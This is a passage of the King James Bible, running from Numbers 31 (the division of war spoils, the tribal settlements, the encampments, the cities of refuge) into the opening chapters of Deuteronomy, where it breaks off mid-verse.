two parts; between them that took the war upon them, who +went out to battle, and between all the congregation: 31:28 And levy a +tribute unto the Lord of the men of war which went out to battle: one +soul of five hundred, both of the persons, and of the beeves, and of +the asses, and of the sheep: 31:29 Take it of their half, and give it +unto Eleazar the priest, for an heave offering of the LORD. + +31:30 And of the children of Israel's half, thou shalt take one +portion of fifty, of the persons, of the beeves, of the asses, and of +the flocks, of all manner of beasts, and give them unto the Levites, +which keep the charge of the tabernacle of the LORD. + +31:31 And Moses and Eleazar the priest did as the LORD commanded +Moses. + +31:32 And the booty, being the rest of the prey which the men of war +had caught, was six hundred thousand and seventy thousand and five +thousand sheep, 31:33 And threescore and twelve thousand beeves, 31:34 +And threescore and one thousand asses, 31:35 And thirty and two +thousand persons in all, of women that had not known man by lying with +him. + +31:36 And the half, which was the portion of them that went out to +war, was in number three hundred thousand and seven and thirty +thousand and five hundred sheep: 31:37 And the LORD's tribute of the +sheep was six hundred and threescore and fifteen. + +31:38 And the beeves were thirty and six thousand; of which the LORD's +tribute was threescore and twelve. + +31:39 And the asses were thirty thousand and five hundred; of which +the LORD's tribute was threescore and one. + +31:40 And the persons were sixteen thousand; of which the LORD's +tribute was thirty and two persons. + +31:41 And Moses gave the tribute, which was the LORD's heave offering, +unto Eleazar the priest, as the LORD commanded Moses. + +31:42 And of the children of Israel's half, which Moses divided from +the men that warred, 31:43 (Now the half that pertained unto the +congregation was three hundred thousand and thirty thousand and seven +thousand and five hundred sheep, 31:44 And thirty and six thousand +beeves, 31:45 And thirty thousand asses and five hundred, 31:46 And +sixteen thousand persons;) 31:47 Even of the children of Israel's +half, Moses took one portion of fifty, both of man and of beast, and +gave them unto the Levites, which kept the charge of the tabernacle of +the LORD; as the LORD commanded Moses. + +31:48 And the officers which were over thousands of the host, the +captains of thousands, and captains of hundreds, came near unto Moses: +31:49 And they said unto Moses, Thy servants have taken the sum of the +men of war which are under our charge, and there lacketh not one man +of us. + +31:50 We have therefore brought an oblation for the LORD, what every +man hath gotten, of jewels of gold, chains, and bracelets, rings, +earrings, and tablets, to make an atonement for our souls before the +LORD. + +31:51 And Moses and Eleazar the priest took the gold of them, even all +wrought jewels. + +31:52 And all the gold of the offering that they offered up to the +LORD, of the captains of thousands, and of the captains of hundreds, +was sixteen thousand seven hundred and fifty shekels. + +31:53 (For the men of war had taken spoil, every man for himself.) +31:54 And Moses and Eleazar the priest took the gold of the captains +of thousands and of hundreds, and brought it into the tabernacle of +the congregation, for a memorial for the children of Israel before the +LORD. + +32:1 Now the children of Reuben and the children of Gad had a very +great multitude of cattle: and when they saw the land of Jazer, and +the land of Gilead, that, behold, the place was a place for cattle; +32:2 The children of Gad and the children of Reuben came and spake +unto Moses, and to Eleazar the priest, and unto the princes of the +congregation, saying, 32:3 Ataroth, and Dibon, and Jazer, and Nimrah, +and Heshbon, and Elealeh, and Shebam, and Nebo, and Beon, 32:4 Even +the country which the LORD smote before the congregation of Israel, is +a land for cattle, and thy servants have cattle: 32:5 Wherefore, said +they, if we have found grace in thy sight, let this land be given unto +thy servants for a possession, and bring us not over Jordan. + +32:6 And Moses said unto the children of Gad and to the children of +Reuben, Shall your brethren go to war, and shall ye sit here? 32:7 +And wherefore discourage ye the heart of the children of Israel from +going over into the land which the LORD hath given them? 32:8 Thus +did your fathers, when I sent them from Kadeshbarnea to see the land. + +32:9 For when they went up unto the valley of Eshcol, and saw the +land, they discouraged the heart of the children of Israel, that they +should not go into the land which the LORD had given them. + +32:10 And the LORD's anger was kindled the same time, and he sware, +saying, 32:11 Surely none of the men that came up out of Egypt, from +twenty years old and upward, shall see the land which I sware unto +Abraham, unto Isaac, and unto Jacob; because they have not wholly +followed me: 32:12 Save Caleb the son of Jephunneh the Kenezite, and +Joshua the son of Nun: for they have wholly followed the LORD. + +32:13 And the LORD's anger was kindled against Israel, and he made +them wander in the wilderness forty years, until all the generation, +that had done evil in the sight of the LORD, was consumed. + +32:14 And, behold, ye are risen up in your fathers' stead, an increase +of sinful men, to augment yet the fierce anger of the LORD toward +Israel. + +32:15 For if ye turn away from after him, he will yet again leave them +in the wilderness; and ye shall destroy all this people. + +32:16 And they came near unto him, and said, We will build sheepfolds +here for our cattle, and cities for our little ones: 32:17 But we +ourselves will go ready armed before the children of Israel, until we +have brought them unto their place: and our little ones shall dwell in +the fenced cities because of the inhabitants of the land. + +32:18 We will not return unto our houses, until the children of Israel +have inherited every man his inheritance. + +32:19 For we will not inherit with them on yonder side Jordan, or +forward; because our inheritance is fallen to us on this side Jordan +eastward. + +32:20 And Moses said unto them, If ye will do this thing, if ye will +go armed before the LORD to war, 32:21 And will go all of you armed +over Jordan before the LORD, until he hath driven out his enemies from +before him, 32:22 And the land be subdued before the LORD: then +afterward ye shall return, and be guiltless before the LORD, and +before Israel; and this land shall be your possession before the LORD. + +32:23 But if ye will not do so, behold, ye have sinned against the +LORD: and be sure your sin will find you out. + +32:24 Build you cities for your little ones, and folds for your sheep; +and do that which hath proceeded out of your mouth. + +32:25 And the children of Gad and the children of Reuben spake unto +Moses, saying, Thy servants will do as my lord commandeth. + +32:26 Our little ones, our wives, our flocks, and all our cattle, +shall be there in the cities of Gilead: 32:27 But thy servants will +pass over, every man armed for war, before the LORD to battle, as my +lord saith. + +32:28 So concerning them Moses commanded Eleazar the priest, and +Joshua the son of Nun, and the chief fathers of the tribes of the +children of Israel: 32:29 And Moses said unto them, If the children of +Gad and the children of Reuben will pass with you over Jordan, every +man armed to battle, before the LORD, and the land shall be subdued +before you; then ye shall give them the land of Gilead for a +possession: 32:30 But if they will not pass over with you armed, they +shall have possessions among you in the land of Canaan. + +32:31 And the children of Gad and the children of Reuben answered, +saying, As the LORD hath said unto thy servants, so will we do. + +32:32 We will pass over armed before the LORD into the land of Canaan, +that the possession of our inheritance on this side Jordan may be +ours. + +32:33 And Moses gave unto them, even to the children of Gad, and to +the children of Reuben, and unto half the tribe of Manasseh the son of +Joseph, the kingdom of Sihon king of the Amorites, and the kingdom of +Og king of Bashan, the land, with the cities thereof in the coasts, +even the cities of the country round about. + +32:34 And the children of Gad built Dibon, and Ataroth, and Aroer, +32:35 And Atroth, Shophan, and Jaazer, and Jogbehah, 32:36 And +Bethnimrah, and Bethharan, fenced cities: and folds for sheep. + +32:37 And the children of Reuben built Heshbon, and Elealeh, and +Kirjathaim, 32:38 And Nebo, and Baalmeon, (their names being changed,) +and Shibmah: and gave other names unto the cities which they builded. + +32:39 And the children of Machir the son of Manasseh went to Gilead, +and took it, and dispossessed the Amorite which was in it. + +32:40 And Moses gave Gilead unto Machir the son of Manasseh; and he +dwelt therein. + +32:41 And Jair the son of Manasseh went and took the small towns +thereof, and called them Havothjair. + +32:42 And Nobah went and took Kenath, and the villages thereof, and +called it Nobah, after his own name. + +33:1 These are the journeys of the children of Israel, which went +forth out of the land of Egypt with their armies under the hand of +Moses and Aaron. + +33:2 And Moses wrote their goings out according to their journeys by +the commandment of the LORD: and these are their journeys according to +their goings out. + +33:3 And they departed from Rameses in the first month, on the +fifteenth day of the first month; on the morrow after the passover the +children of Israel went out with an high hand in the sight of all the +Egyptians. + +33:4 For the Egyptians buried all their firstborn, which the LORD had +smitten among them: upon their gods also the LORD executed judgments. + +33:5 And the children of Israel removed from Rameses, and pitched in +Succoth. + +33:6 And they departed from Succoth, and pitched in Etham, which is in +the edge of the wilderness. + +33:7 And they removed from Etham, and turned again unto Pihahiroth, +which is before Baalzephon: and they pitched before Migdol. + +33:8 And they departed from before Pihahiroth, and passed through the +midst of the sea into the wilderness, and went three days' journey in +the wilderness of Etham, and pitched in Marah. + +33:9 And they removed from Marah, and came unto Elim: and in Elim were +twelve fountains of water, and threescore and ten palm trees; and they +pitched there. + +33:10 And they removed from Elim, and encamped by the Red sea. + +33:11 And they removed from the Red sea, and encamped in the +wilderness of Sin. + +33:12 And they took their journey out of the wilderness of Sin, and +encamped in Dophkah. + +33:13 And they departed from Dophkah, and encamped in Alush. + +33:14 And they removed from Alush, and encamped at Rephidim, where was +no water for the people to drink. + +33:15 And they departed from Rephidim, and pitched in the wilderness +of Sinai. + +33:16 And they removed from the desert of Sinai, and pitched at +Kibrothhattaavah. + +33:17 And they departed from Kibrothhattaavah, and encamped at +Hazeroth. + +33:18 And they departed from Hazeroth, and pitched in Rithmah. + +33:19 And they departed from Rithmah, and pitched at Rimmonparez. + +33:20 And they departed from Rimmonparez, and pitched in Libnah. + +33:21 And they removed from Libnah, and pitched at Rissah. + +33:22 And they journeyed from Rissah, and pitched in Kehelathah. + +33:23 And they went from Kehelathah, and pitched in mount Shapher. + +33:24 And they removed from mount Shapher, and encamped in Haradah. + +33:25 And they removed from Haradah, and pitched in Makheloth. + +33:26 And they removed from Makheloth, and encamped at Tahath. + +33:27 And they departed from Tahath, and pitched at Tarah. + +33:28 And they removed from Tarah, and pitched in Mithcah. + +33:29 And they went from Mithcah, and pitched in Hashmonah. + +33:30 And they departed from Hashmonah, and encamped at Moseroth. + +33:31 And they departed from Moseroth, and pitched in Benejaakan. + +33:32 And they removed from Benejaakan, and encamped at Horhagidgad. + +33:33 And they went from Horhagidgad, and pitched in Jotbathah. + +33:34 And they removed from Jotbathah, and encamped at Ebronah. + +33:35 And they departed from Ebronah, and encamped at Eziongaber. + +33:36 And they removed from Eziongaber, and pitched in the wilderness +of Zin, which is Kadesh. + +33:37 And they removed from Kadesh, and pitched in mount Hor, in the +edge of the land of Edom. + +33:38 And Aaron the priest went up into mount Hor at the commandment +of the LORD, and died there, in the fortieth year after the children +of Israel were come out of the land of Egypt, in the first day of the +fifth month. + +33:39 And Aaron was an hundred and twenty and three years old when he +died in mount Hor. + +33:40 And king Arad the Canaanite, which dwelt in the south in the +land of Canaan, heard of the coming of the children of Israel. + +33:41 And they departed from mount Hor, and pitched in Zalmonah. + +33:42 And they departed from Zalmonah, and pitched in Punon. + +33:43 And they departed from Punon, and pitched in Oboth. + +33:44 And they departed from Oboth, and pitched in Ijeabarim, in the +border of Moab. + +33:45 And they departed from Iim, and pitched in Dibongad. + +33:46 And they removed from Dibongad, and encamped in Almondiblathaim. + +33:47 And they removed from Almondiblathaim, and pitched in the +mountains of Abarim, before Nebo. + +33:48 And they departed from the mountains of Abarim, and pitched in +the plains of Moab by Jordan near Jericho. + +33:49 And they pitched by Jordan, from Bethjesimoth even unto +Abelshittim in the plains of Moab. + +33:50 And the LORD spake unto Moses in the plains of Moab by Jordan +near Jericho, saying, 33:51 Speak unto the children of Israel, and say +unto them, When ye are passed over Jordan into the land of Canaan; +33:52 Then ye shall drive out all the inhabitants of the land from +before you, and destroy all their pictures, and destroy all their +molten images, and quite pluck down all their high places: 33:53 And +ye shall dispossess the inhabitants of the land, and dwell therein: +for I have given you the land to possess it. + +33:54 And ye shall divide the land by lot for an inheritance among +your families: and to the more ye shall give the more inheritance, and +to the fewer ye shall give the less inheritance: every man's +inheritance shall be in the place where his lot falleth; according to +the tribes of your fathers ye shall inherit. + +33:55 But if ye will not drive out the inhabitants of the land from +before you; then it shall come to pass, that those which ye let remain +of them shall be pricks in your eyes, and thorns in your sides, and +shall vex you in the land wherein ye dwell. + +33:56 Moreover it shall come to pass, that I shall do unto you, as I +thought to do unto them. + +34:1 And the LORD spake unto Moses, saying, 34:2 Command the children +of Israel, and say unto them, When ye come into the land of Canaan; +(this is the land that shall fall unto you for an inheritance, even +the land of Canaan with the coasts thereof:) 34:3 Then your south +quarter shall be from the wilderness of Zin along by the coast of +Edom, and your south border shall be the outmost coast of the salt sea +eastward: 34:4 And your border shall turn from the south to the ascent +of Akrabbim, and pass on to Zin: and the going forth thereof shall be +from the south to Kadeshbarnea, and shall go on to Hazaraddar, and +pass on to Azmon: 34:5 And the border shall fetch a compass from Azmon +unto the river of Egypt, and the goings out of it shall be at the sea. + +34:6 And as for the western border, ye shall even have the great sea +for a border: this shall be your west border. + +34:7 And this shall be your north border: from the great sea ye shall +point out for you mount Hor: 34:8 From mount Hor ye shall point out +your border unto the entrance of Hamath; and the goings forth of the +border shall be to Zedad: 34:9 And the border shall go on to Ziphron, +and the goings out of it shall be at Hazarenan: this shall be your +north border. + +34:10 And ye shall point out your east border from Hazarenan to +Shepham: 34:11 And the coast shall go down from Shepham to Riblah, on +the east side of Ain; and the border shall descend, and shall reach +unto the side of the sea of Chinnereth eastward: 34:12 And the border +shall go down to Jordan, and the goings out of it shall be at the salt +sea: this shall be your land with the coasts thereof round about. + +34:13 And Moses commanded the children of Israel, saying, This is the +land which ye shall inherit by lot, which the LORD commanded to give +unto the nine tribes, and to the half tribe: 34:14 For the tribe of +the children of Reuben according to the house of their fathers, and +the tribe of the children of Gad according to the house of their +fathers, have received their inheritance; and half the tribe of +Manasseh have received their inheritance: 34:15 The two tribes and the +half tribe have received their inheritance on this side Jordan near +Jericho eastward, toward the sunrising. + +34:16 And the LORD spake unto Moses, saying, 34:17 These are the names +of the men which shall divide the land unto you: Eleazar the priest, +and Joshua the son of Nun. + +34:18 And ye shall take one prince of every tribe, to divide the land +by inheritance. + +34:19 And the names of the men are these: Of the tribe of Judah, Caleb +the son of Jephunneh. + +34:20 And of the tribe of the children of Simeon, Shemuel the son of +Ammihud. + +34:21 Of the tribe of Benjamin, Elidad the son of Chislon. + +34:22 And the prince of the tribe of the children of Dan, Bukki the +son of Jogli. + +34:23 The prince of the children of Joseph, for the tribe of the +children of Manasseh, Hanniel the son of Ephod. + +34:24 And the prince of the tribe of the children of Ephraim, Kemuel +the son of Shiphtan. + +34:25 And the prince of the tribe of the children of Zebulun, +Elizaphan the son of Parnach. + +34:26 And the prince of the tribe of the children of Issachar, Paltiel +the son of Azzan. + +34:27 And the prince of the tribe of the children of Asher, Ahihud the +son of Shelomi. + +34:28 And the prince of the tribe of the children of Naphtali, Pedahel +the son of Ammihud. + +34:29 These are they whom the LORD commanded to divide the inheritance +unto the children of Israel in the land of Canaan. + +35:1 And the LORD spake unto Moses in the plains of Moab by Jordan +near Jericho, saying, 35:2 Command the children of Israel, that they +give unto the Levites of the inheritance of their possession cities to +dwell in; and ye shall give also unto the Levites suburbs for the +cities round about them. + +35:3 And the cities shall they have to dwell in; and the suburbs of +them shall be for their cattle, and for their goods, and for all their +beasts. + +35:4 And the suburbs of the cities, which ye shall give unto the +Levites, shall reach from the wall of the city and outward a thousand +cubits round about. + +35:5 And ye shall measure from without the city on the east side two +thousand cubits, and on the south side two thousand cubits, and on the +west side two thousand cubits, and on the north side two thousand +cubits; and the city shall be in the midst: this shall be to them the +suburbs of the cities. + +35:6 And among the cities which ye shall give unto the Levites there +shall be six cities for refuge, which ye shall appoint for the +manslayer, that he may flee thither: and to them ye shall add forty +and two cities. + +35:7 So all the cities which ye shall give to the Levites shall be +forty and eight cities: them shall ye give with their suburbs. + +35:8 And the cities which ye shall give shall be of the possession of +the children of Israel: from them that have many ye shall give many; +but from them that have few ye shall give few: every one shall give of +his cities unto the Levites according to his inheritance which he +inheriteth. + +35:9 And the LORD spake unto Moses, saying, 35:10 Speak unto the +children of Israel, and say unto them, When ye be come over Jordan +into the land of Canaan; 35:11 Then ye shall appoint you cities to be +cities of refuge for you; that the slayer may flee thither, which +killeth any person at unawares. + +35:12 And they shall be unto you cities for refuge from the avenger; +that the manslayer die not, until he stand before the congregation in +judgment. + +35:13 And of these cities which ye shall give six cities shall ye have +for refuge. + +35:14 Ye shall give three cities on this side Jordan, and three cities +shall ye give in the land of Canaan, which shall be cities of refuge. + +35:15 These six cities shall be a refuge, both for the children of +Israel, and for the stranger, and for the sojourner among them: that +every one that killeth any person unawares may flee thither. + +35:16 And if he smite him with an instrument of iron, so that he die, +he is a murderer: the murderer shall surely be put to death. + +35:17 And if he smite him with throwing a stone, wherewith he may die, +and he die, he is a murderer: the murderer shall surely be put to +death. + +35:18 Or if he smite him with an hand weapon of wood, wherewith he may +die, and he die, he is a murderer: the murderer shall surely be put to +death. + +35:19 The revenger of blood himself shall slay the murderer: when he +meeteth him, he shall slay him. + +35:20 But if he thrust him of hatred, or hurl at him by laying of +wait, that he die; 35:21 Or in enmity smite him with his hand, that he +die: he that smote him shall surely be put to death; for he is a +murderer: the revenger of blood shall slay the murderer, when he +meeteth him. + +35:22 But if he thrust him suddenly without enmity, or have cast upon +him any thing without laying of wait, 35:23 Or with any stone, +wherewith a man may die, seeing him not, and cast it upon him, that he +die, and was not his enemy, neither sought his harm: 35:24 Then the +congregation shall judge between the slayer and the revenger of blood +according to these judgments: 35:25 And the congregation shall deliver +the slayer out of the hand of the revenger of blood, and the +congregation shall restore him to the city of his refuge, whither he +was fled: and he shall abide in it unto the death of the high priest, +which was anointed with the holy oil. + +35:26 But if the slayer shall at any time come without the border of +the city of his refuge, whither he was fled; 35:27 And the revenger of +blood find him without the borders of the city of his refuge, and the +revenger of blood kill the slayer; he shall not be guilty of blood: +35:28 Because he should have remained in the city of his refuge until +the death of the high priest: but after the death of the high priest +the slayer shall return into the land of his possession. + +35:29 So these things shall be for a statute of judgment unto you +throughout your generations in all your dwellings. + +35:30 Whoso killeth any person, the murderer shall be put to death by +the mouth of witnesses: but one witness shall not testify against any +person to cause him to die. + +35:31 Moreover ye shall take no satisfaction for the life of a +murderer, which is guilty of death: but he shall be surely put to +death. + +35:32 And ye shall take no satisfaction for him that is fled to the +city of his refuge, that he should come again to dwell in the land, +until the death of the priest. + +35:33 So ye shall not pollute the land wherein ye are: for blood it +defileth the land: and the land cannot be cleansed of the blood that +is shed therein, but by the blood of him that shed it. + +35:34 Defile not therefore the land which ye shall inhabit, wherein I +dwell: for I the LORD dwell among the children of Israel. + +36:1 And the chief fathers of the families of the children of Gilead, +the son of Machir, the son of Manasseh, of the families of the sons of +Joseph, came near, and spake before Moses, and before the princes, the +chief fathers of the children of Israel: 36:2 And they said, The LORD +commanded my lord to give the land for an inheritance by lot to the +children of Israel: and my lord was commanded by the LORD to give the +inheritance of Zelophehad our brother unto his daughters. + +36:3 And if they be married to any of the sons of the other tribes of +the children of Israel, then shall their inheritance be taken from the +inheritance of our fathers, and shall be put to the inheritance of the +tribe whereunto they are received: so shall it be taken from the lot +of our inheritance. + +36:4 And when the jubile of the children of Israel shall be, then +shall their inheritance be put unto the inheritance of the tribe +whereunto they are received: so shall their inheritance be taken away +from the inheritance of the tribe of our fathers. + +36:5 And Moses commanded the children of Israel according to the word +of the LORD, saying, The tribe of the sons of Joseph hath said well. + +36:6 This is the thing which the LORD doth command concerning the +daughters of Zelophehad, saying, Let them marry to whom they think +best; only to the family of the tribe of their father shall they +marry. + +36:7 So shall not the inheritance of the children of Israel remove +from tribe to tribe: for every one of the children of Israel shall +keep himself to the inheritance of the tribe of his fathers. + +36:8 And every daughter, that possesseth an inheritance in any tribe +of the children of Israel, shall be wife unto one of the family of the +tribe of her father, that the children of Israel may enjoy every man +the inheritance of his fathers. + +36:9 Neither shall the inheritance remove from one tribe to another +tribe; but every one of the tribes of the children of Israel shall +keep himself to his own inheritance. + +36:10 Even as the LORD commanded Moses, so did the daughters of +Zelophehad: 36:11 For Mahlah, Tirzah, and Hoglah, and Milcah, and +Noah, the daughters of Zelophehad, were married unto their father's +brothers' sons: 36:12 And they were married into the families of the +sons of Manasseh the son of Joseph, and their inheritance remained in +the tribe of the family of their father. + +36:13 These are the commandments and the judgments, which the LORD +commanded by the hand of Moses unto the children of Israel in the +plains of Moab by Jordan near Jericho. + + + + +The Fifth Book of Moses: Called Deuteronomy + + +1:1 These be the words which Moses spake unto all Israel on this side +Jordan in the wilderness, in the plain over against the Red sea, +between Paran, and Tophel, and Laban, and Hazeroth, and Dizahab. + +1:2 (There are eleven days' journey from Horeb by the way of mount +Seir unto Kadeshbarnea.) 1:3 And it came to pass in the fortieth +year, in the eleventh month, on the first day of the month, that Moses +spake unto the children of Israel, according unto all that the LORD +had given him in commandment unto them; 1:4 After he had slain Sihon +the king of the Amorites, which dwelt in Heshbon, and Og the king of +Bashan, which dwelt at Astaroth in Edrei: 1:5 On this side Jordan, in +the land of Moab, began Moses to declare this law, saying, 1:6 The +LORD our God spake unto us in Horeb, saying, Ye have dwelt long enough +in this mount: 1:7 Turn you, and take your journey, and go to the +mount of the Amorites, and unto all the places nigh thereunto, in the +plain, in the hills, and in the vale, and in the south, and by the sea +side, to the land of the Canaanites, and unto Lebanon, unto the great +river, the river Euphrates. + +1:8 Behold, I have set the land before you: go in and possess the land +which the LORD sware unto your fathers, Abraham, Isaac, and Jacob, to +give unto them and to their seed after them. + +1:9 And I spake unto you at that time, saying, I am not able to bear +you myself alone: 1:10 The LORD your God hath multiplied you, and, +behold, ye are this day as the stars of heaven for multitude. + +1:11 (The LORD God of your fathers make you a thousand times so many +more as ye are, and bless you, as he hath promised you!) 1:12 How can +I myself alone bear your cumbrance, and your burden, and your strife? +1:13 Take you wise men, and understanding, and known among your +tribes, and I will make them rulers over you. + +1:14 And ye answered me, and said, The thing which thou hast spoken is +good for us to do. + +1:15 So I took the chief of your tribes, wise men, and known, and made +them heads over you, captains over thousands, and captains over +hundreds, and captains over fifties, and captains over tens, and +officers among your tribes. + +1:16 And I charged your judges at that time, saying, Hear the causes +between your brethren, and judge righteously between every man and his +brother, and the stranger that is with him. + +1:17 Ye shall not respect persons in judgment; but ye shall hear the +small as well as the great; ye shall not be afraid of the face of man; +for the judgment is God's: and the cause that is too hard for you, +bring it unto me, and I will hear it. + +1:18 And I commanded you at that time all the things which ye should +do. + +1:19 And when we departed from Horeb, we went through all that great +and terrible wilderness, which ye saw by the way of the mountain of +the Amorites, as the LORD our God commanded us; and we came to +Kadeshbarnea. + +1:20 And I said unto you, Ye are come unto the mountain of the +Amorites, which the LORD our God doth give unto us. + +1:21 Behold, the LORD thy God hath set the land before thee: go up and +possess it, as the LORD God of thy fathers hath said unto thee; fear +not, neither be discouraged. + +1:22 And ye came near unto me every one of you, and said, We will send +men before us, and they shall search us out the land, and bring us +word again by what way we must go up, and into what cities we shall +come. + +1:23 And the saying pleased me well: and I took twelve men of you, one +of a tribe: 1:24 And they turned and went up into the mountain, and +came unto the valley of Eshcol, and searched it out. + +1:25 And they took of the fruit of the land in their hands, and +brought it down unto us, and brought us word again, and said, It is a +good land which the LORD our God doth give us. + +1:26 Notwithstanding ye would not go up, but rebelled against the +commandment of the LORD your God: 1:27 And ye murmured in your tents, +and said, Because the LORD hated us, he hath brought us forth out of +the land of Egypt, to deliver us into the hand of the Amorites, to +destroy us. + +1:28 Whither shall we go up? our brethren have discouraged our heart, +saying, The people is greater and taller than we; the cities are great +and walled up to heaven; and moreover we have seen the sons of the +Anakims there. + +1:29 Then I said unto you, Dread not, neither be afraid of them. + +1:30 The LORD your God which goeth before you, he shall fight for you, +according to all that he did for you in Egypt before your eyes; 1:31 +And in the wilderness, where thou hast seen how that the LORD thy God +bare thee, as a man doth bear his son, in all the way that ye went, +until ye came into this place. + +1:32 Yet in this thing ye did not believe the LORD your God, 1:33 Who +went in the way before you, to search you out a place to pitch your +tents in, in fire by night, to shew you by what way ye should go, and +in a cloud by day. + +1:34 And the LORD heard the voice of your words, and was wroth, and +sware, saying, 1:35 Surely there shall not one of these men of this +evil generation see that good land, which I sware to give unto your +fathers. + +1:36 Save Caleb the son of Jephunneh; he shall see it, and to him will +I give the land that he hath trodden upon, and to his children, +because he hath wholly followed the LORD. + +1:37 Also the LORD was angry with me for your sakes, saying, Thou also +shalt not go in thither. + +1:38 But Joshua the son of Nun, which standeth before thee, he shall +go in thither: encourage him: for he shall cause Israel to inherit it. + +1:39 Moreover your little ones, which ye said should be a prey, and +your children, which in that day had no knowledge between good and +evil, they shall go in thither, and unto them will I give it, and they +shall possess it. + +1:40 But as for you, turn you, and take your journey into the +wilderness by the way of the Red sea. + +1:41 Then ye answered and said unto me, We have sinned against the +LORD, we will go up and fight, according to all that the LORD our God +commanded us. + +And when ye had girded on every man his weapons of war, ye were ready +to go up into the hill. + +1:42 And the LORD said unto me, Say unto them. Go not up, neither +fight; for I am not among you; lest ye be smitten before your enemies. + +1:43 So I spake unto you; and ye would not hear, but rebelled against +the commandment of the LORD, and went presumptuously up into the hill. + +1:44 And the Amorites, which dwelt in that mountain, came out against +you, and chased you, as bees do, and destroyed you in Seir, even unto +Hormah. + +1:45 And ye returned and wept before the LORD; but the LORD would not +hearken to your voice, nor give ear unto you. + +1:46 So ye abode in Kadesh many days, according unto the days that ye +abode there. + +2:1 Then we turned, and took our journey into the wilderness by the +way of the Red sea, as the LORD spake unto me: and we compassed mount +Seir many days. + +2:2 And the LORD spake unto me, saying, 2:3 Ye have compassed this +mountain long enough: turn you northward. + +2:4 And command thou the people, saying, Ye are to pass through the +coast of your brethren the children of Esau, which dwell in Seir; and +they shall be afraid of you: take ye good heed unto yourselves +therefore: 2:5 Meddle not with them; for I will not give you of their +land, no, not so much as a foot breadth; because I have given mount +Seir unto Esau for a possession. + +2:6 Ye shall buy meat of them for money, that ye may eat; and ye shall +also buy water of them for money, that ye may drink. + +2:7 For the LORD thy God hath blessed thee in all the works of thy +hand: he knoweth thy walking through this great wilderness: these +forty years the LORD thy God hath been with thee; thou hast lacked +nothing. + +2:8 And when we passed by from our brethren the children of Esau, +which dwelt in Seir, through the way of the plain from Elath, and from +Eziongaber, we turned and passed by the way of the wilderness of Moab. + +2:9 And the LORD said unto me, Distress not the Moabites, neither +contend with them in battle: for I will not give thee of their land +for a possession; because I have given Ar unto the children of Lot for +a possession. + +2:10 The Emims dwelt therein in times past, a people great, and many, +and tall, as the Anakims; 2:11 Which also were accounted giants, as +the Anakims; but the Moabites called them Emims. + +2:12 The Horims also dwelt in Seir beforetime; but the children of +Esau succeeded them, when they had destroyed them from before them, +and dwelt in their stead; as Israel did unto the land of his +possession, which the LORD gave unto them. + +2:13 Now rise up, said I, and get you over the brook Zered. And we +went over the brook Zered. + +2:14 And the space in which we came from Kadeshbarnea, until we were +come over the brook Zered, was thirty and eight years; until all the +generation of the men of war were wasted out from among the host, as +the LORD sware unto them. + +2:15 For indeed the hand of the LORD was against them, to destroy them +from among the host, until they were consumed. + +2:16 So it came to pass, when all the men of war were consumed and +dead from among the people, 2:17 That the LORD spake unto me, saying, +2:18 Thou art to pass over through Ar, the coast of Moab, this day: +2:19 And when thou comest nigh over against the children of Ammon, +distress them not, nor meddle with them: for I will not give thee of +the land of the children of Ammon any possession; because I have given +it unto the children of Lot for a possession. + +2:20 (That also was accounted a land of giants: giants dwelt therein +in old time; and the Ammonites call them Zamzummims; 2:21 A people +great, and many, and tall, as the Anakims; but the LORD destroyed them +before them; and they succeeded them, and dwelt in their stead: 2:22 +As he did to the children of Esau, which dwelt in Seir, when he +destroyed the Horims from before them; and they succeeded them, and +dwelt in their stead even unto this day: 2:23 And the Avims which +dwelt in Hazerim, even unto Azzah, the Caphtorims, which came forth +out of Caphtor, destroyed them, and dwelt in their stead.) 2:24 Rise +ye up, take your journey, and pass over the river Arnon: behold, I +have given into thine hand Sihon the Amorite, king of Heshbon, and his +land: begin to possess it, and contend with him in battle. + +2:25 This day will I begin to put the dread of thee and the fear of +thee upon the nations that are under the whole heaven, who shall hear +report of thee, and shall tremble, and be in anguish because of thee. + +2:26 And I sent messengers out of the wilderness of Kedemoth unto +Sihon king of Heshbon with words of peace, saying, 2:27 Let me pass +through thy land: I will go along by the high way, I will neither turn +unto the right hand nor to the left. + +2:28 Thou shalt sell me meat for money, that I may eat; and give me +water for money, that I may drink: only I will pass through on my +feet; 2:29 (As the children of Esau which dwell in Seir, and the +Moabites which dwell in Ar, did unto me;) until I shall pass over +Jordan into the land which the LORD our God giveth us. + +2:30 But Sihon king of Heshbon would not let us pass by him: for the +LORD thy God hardened his spirit, and made his heart obstinate, that +he might deliver him into thy hand, as appeareth this day. + +2:31 And the LORD said unto me, Behold, I have begun to give Sihon and +his land before thee: begin to possess, that thou mayest inherit his +land. + +2:32 Then Sihon came out against us, he and all his people, to fight +at Jahaz. + +2:33 And the LORD our God delivered him before us; and we smote him, +and his sons, and all his people. + +2:34 And we took all his cities at that time, and utterly destroyed +the men, and the women, and the little ones, of every city, we left +none to remain: 2:35 Only the cattle we took for a prey unto +ourselves, and the spoil of the cities which we took. + +2:36 From Aroer, which is by the brink of the river of Arnon, and from +the city that is by the river, even unto Gilead, there was not one +city too strong for us: the LORD our God delivered all unto us: 2:37 +Only unto the land of the children of Ammon thou camest not, nor unto +any place of the river Jabbok, nor unto the cities in the mountains, +nor unto whatsoever the LORD our God forbad us. + +3:1 Then we turned, and went up the way to Bashan: and Og the king of +Bashan came out against us, he and all his people, to battle at Edrei. + +3:2 And the LORD said unto me, Fear him not: for I will deliver him, +and all his people, and his land, into thy hand; and thou shalt do +unto him as thou didst unto Sihon king of the Amorites, which dwelt at +Heshbon. + +3:3 So the LORD our God delivered into our hands Og also, the king of +Bashan, and all his people: and we smote him until none was left to +him remaining. + +3:4 And we took all his cities at that time, there was not a city +which we took not from them, threescore cities, all the region of +Argob, the kingdom of Og in Bashan. + +3:5 All these cities were fenced with high walls, gates, and bars; +beside unwalled towns a great many. + +3:6 And we utterly destroyed them, as we did unto Sihon king of +Heshbon, utterly destroying the men, women, and children, of every +city. + +3:7 But all the cattle, and the spoil of the cities, we took for a +prey to ourselves. + +3:8 And we took at that time out of the hand of the two kings of the +Amorites the land that was on this side Jordan, from the river of +Arnon unto mount Hermon; 3:9 (Which Hermon the Sidonians call Sirion; +and the Amorites call it Shenir;) 3:10 All the cities of the plain, +and all Gilead, and all Bashan, unto Salchah and Edrei, cities of the +kingdom of Og in Bashan. + +3:11 For only Og king of Bashan remained of the remnant of giants; +behold his bedstead was a bedstead of iron; is it not in Rabbath of +the children of Ammon? nine cubits was the length thereof, and four +cubits the breadth of it, after the cubit of a man. + +3:12 And this land, which we possessed at that time, from Aroer, which +is by the river Arnon, and half mount Gilead, and the cities thereof, +gave I unto the Reubenites and to the 